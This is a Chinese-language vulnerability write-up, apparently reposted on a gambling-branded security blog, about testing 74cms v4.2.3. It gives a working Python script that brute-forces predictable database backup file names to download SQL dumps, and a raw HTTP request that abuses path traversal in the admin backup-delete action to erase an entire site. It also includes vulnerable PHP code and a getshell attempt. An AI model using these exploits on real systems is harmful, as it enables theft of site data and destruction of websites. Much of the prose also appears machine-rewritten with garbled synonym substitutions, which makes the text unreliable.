某CMS v4.2.3 测试条记(敏感文件未受权下载与恣意文件夹删除) | 申博官网
登录
  • 欢迎进入Sunbet!
  • 如果您觉得Sunbet对你有帮助,那么赶紧使用Ctrl+D 收藏Sunbet并分享出去吧
  • 您好,这里是Sunbet!

某CMS v4.2.3 测试条记(敏感文件未受权下载与恣意文件夹删除)

Sunbet_安全防护 申博 237次浏览 已收录 0个评论

2019.1.5 下昼三点抵达藏书楼

0x01 前期相识

看先知phpoop师傅又双叒贡献了关于74cms的一个洞 猎奇一下这个CMS 因而测一下咯。

Code:http://www.74cms.com/download/index.html
Version:`74cms_Home_Setup_v4.2.3

某CMS v4.2.3 测试条记(敏感文件未受权下载与恣意文件夹删除)

这里不知道为何4.2.3的宣布日期为何会比4.2.1x的早

某CMS v4.2.3 测试条记(敏感文件未受权下载与恣意文件夹删除)

前期相识:

某CMS v4.2.3 测试条记(敏感文件未受权下载与恣意文件夹删除)

看了先知phpoop师傅的文章和百度一些材料 注入觉得被挖得差不多了 尝尝其余。

0x02 测试历程

测试情况:MacOS 10.14 + MAMP Pro + BurpSuite + FileMonitor

0x02_1 装置测试

某CMS v4.2.3 测试条记(敏感文件未受权下载与恣意文件夹删除)

某CMS v4.2.3 测试条记(敏感文件未受权下载与恣意文件夹删除)

上来就注重到写出了日记
内容为:

[ 2019-01-05T16:27:25+08:00 ] 127.0.0.1 /install.php
INFO: [ app_init ] --START--
INFO: Run Behavior\BuildLiteBehavior [ RunTime:0.000051s ]
INFO: [ app_init ] --END-- [ RunTime:0.001199s ]
INFO: [ app_begin ] --START--
INFO: Run Behavior\ReadHtmlCacheBehavior [ RunTime:0.001016s ]
INFO: [ app_begin ] --END-- [ RunTime:0.001140s ]
INFO: [ view_parse ] --START--
INFO: [ template_filter ] --START--
INFO: Run Behavior\ContentReplaceBehavior [ RunTime:0.000124s ]
INFO: [ template_filter ] --END-- [ RunTime:0.000262s ]
INFO: Run Behavior\ParseTemplateBehavior [ RunTime:0.016973s ]
INFO: [ view_parse ] --END-- [ RunTime:0.017170s ]
INFO: [ view_filter ] --START--
INFO: Run Behavior\WriteHtmlCacheBehavior [ RunTime:0.000629s ]
INFO: [ view_filter ] --END-- [ RunTime:0.000745s ]
INFO: [ app_end ] --START--
INFO: Run Behavior\ShowPageTraceBehavior [ RunTime:0.001023s ]
INFO: [ app_end ] --END-- [ RunTime:0.001153s ]

没有什么敏感信息 留到背面看。

某CMS v4.2.3 测试条记(敏感文件未受权下载与恣意文件夹删除)

装置完成后日记文件会由/install/Runtime/Logs/Home/19_01_05.log目次 移动到 /install/Runtime/Logs/Home/1546677195-19_01_05.log目次 须要注重日记定名发生变化了。

装置中间环节测试未发明其他题目。

0x02_2 背景测试

某CMS v4.2.3 测试条记(敏感文件未受权下载与恣意文件夹删除)

某CMS v4.2.3 测试条记(敏感文件未受权下载与恣意文件夹删除)

在测试背景-体系-网站设置装备摆设功用时发明 修正设置装备摆设后顺序会删掉原设置装备摆设文件 从新建立新设置装备摆设文件 岂非方才修正的内容是写入到data/Runtime/Data/config.php文件 而不是写入数据库?

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

某CMS v4.2.3 测试条记(敏感文件未受权下载与恣意文件夹删除)

果不其然 确实写到了这个php文件 进过测试发明 改cms其他设置装备摆设均为写到php文件 而不是数据库 这不是意味着能够找个适宜的点来组织payload写入文件 到达getshell的目标

某CMS v4.2.3 测试条记(敏感文件未受权下载与恣意文件夹删除)

然后笔者在文件中组织好了poc代码',phpinfo(),' 测试时发明单引号被过滤了 就这样从四点过折腾到六点过没绕过 摒弃 先测其他点

某CMS v4.2.3 测试条记(敏感文件未受权下载与恣意文件夹删除)

随后在背景-对象-数据库-备份中发明该体系数据库备份文件名简朴 可猜解。

附上Python POC(仅查找2017-2019的备份):

# -*- coding: utf-8 -*-
-------------------------------------------------
   File Name:     74cms_MysqlBak
   Description :
   Author :       CoolCat
   date:          2019/1/5
-------------------------------------------------
   Change Activity:
                   2019/1/5:
-------------------------------------------------
"""
__author__ = 'CoolCat'

import requests

def getBak(time):
    print("[running]:正在查询" + time + "是不是存在备份")
    dir = time + "_1"
    filename = dir + "_1.sql"
    url = target + "//data/backup/database/" + dir +"/"+ filename
    session = requests.Session()
    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0",
               "Connection": "close", "Accept-Language": "en", "Accept-Encoding": "gzip, deflate"}
    cookies = {"think_language": "en", "think_template": "default", "PHPSESSID": "6d86a34ec9125b2d08ebbb7630838682"}
    response = session.get(url=url, headers=headers, cookies=cookies)
    if response.status_code == 200:
        print(url)
        exit()

if __name__ == '__main__':

    global target
    target = "http://www.target.com"

    for year in range(2017, 2020):
        for mouth in range(1, 13):
            for day in range(1, 31):
                time = (str(year) + str('%02d' % mouth) + str('%02d' % day))
                getBak(time)

实战测试:

某CMS v4.2.3 测试条记(敏感文件未受权下载与恣意文件夹删除)

前面的单引号没能绕过 临时摒弃

经由测试 phpoop师傅的某cms v4.2.1-v4.2.129-背景getshell破绽可利用于4.2.3版本

0x03 剖析总结

定位到文件/Application/Admin/Controller/DatabaseController.class.php第130-162行代码为:

protected function _make_backup_name(){
        $backup_path = DATABASE_BACKUP_PATH;
        $today = date('Ymd_', time());
        $today_backup = array(); //生存本日已备份过的
        if (is_dir($backup_path))
        {
            if ($handle = opendir($backup_path))
            {
                while (($file = readdir($handle)) !== false)
                {
                    if ($file{0} != '.' && filetype($backup_path . $file) == 'dir')
                    {
                        if (strpos($file, $today) === 0)
                        {
                            $no = intval(str_replace($today, '', $file)); //当天的编号
                            if ($no)
                            {
                                $today_backup[] = $no;
                            }
                        }
                    }
                }
            }
        }
        if ($today_backup)
        {
            $today .= max($today_backup) + 1;
        } else
        {
            $today .= '1';
        }
        return $today;
    }

第214-217行

protected function _sava_sql($vol){
        return file_put_contents(DATABASE_BACKUP_PATH . $this->backup_name .
            '/' . $this->backup_name . '_' . $vol . '.sql', $this->dump_sql);
    }

取了备份当天的日期加上字符”_”和一个数字来作为备份的文件名。如上面Python版的Poc所写一样。

厂商可修正定名体式格局来处理此题目(好比$vol变量不要用个位数字 而是换成多位随机码)

整体上来说给前台日穿74cms增加了新的时机。(4.X均通用)

2019.1.5 下昼七点摒弃继承测试(想起本日还没吃过饭 命要紧。)

0x04 增补(恣意文件夹删除)

POC(删除整站):

GET /index.php?m=admin&c=database&a=del&name=/../../../../../ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/index.php?m=admin&c=database&a=restore
Connection: close
Cookie: think_template=default; PHPSESSID=6d86a34ec9125b2d08ebbb7630838682; think_language=en
Upgrade-Insecure-Requests: 1

某CMS v4.2.3 测试条记(敏感文件未受权下载与恣意文件夹删除)

题目出在/Application/Admin/Controller/DatabaseController.class.php文件的58到66行

public function del(){
        $name = I('request.name','','trim');
        !$name && $this->error('请选摘要删除的备份文件');
        !is_array($name) && $name = array($name);
        foreach ($name as $key => $val) {
            rmdirs(DATABASE_BACKUP_PATH.$val,true);
        }
        $this->success('删除备份文件胜利!');
    }

name参数可控 致使可恣意文件夹删除。


Sunbet|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明某CMS v4.2.3 测试条记(敏感文件未受权下载与恣意文件夹删除)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址